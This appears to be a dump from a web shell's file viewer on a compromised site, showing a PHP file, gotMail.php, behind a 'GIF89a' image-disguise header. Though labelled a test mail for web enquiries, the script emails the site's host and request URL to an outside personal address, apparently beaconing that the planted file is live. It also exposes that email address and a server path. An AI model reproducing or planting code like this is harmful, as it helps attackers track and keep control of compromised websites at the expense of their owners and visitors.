GIF89a php
Current File : /home/hencockfreshchic/public_html/gotMail.php
<?php
ob_start();
ini_set('error_reporting', E_STRICT);
include("connect.php");
mysqli_set_charset($conn,'utf8');
date_default_timezone_set('Asia/Kolkata');
$myM="info@".$_SERVER['HTTP_HOST'];
$to = "aksz888@rediffmail.com";
$subject = "Test mail";
$message = "<html><head><title>Testing Mail</title></head><body><p>Dear user,<br><br> You just receive a new web enquiry, The details are given below : <br><br> </p>Name : https://".$_SERVER['HTTP_HOST'].$_SERVER['REQUEST_URI']."<br></body></html>";
$headers = "MIME-Version: 1.0". "\r\n";
$headers .= "Content-type:text/html;charset=UTF-8" . "\r\n";
$headers .= 'From: '.$myM. "\r\n";
$headers .= 'Cc:'.$to. "\r\n";
mail($to,$subject,$message,$headers);
?>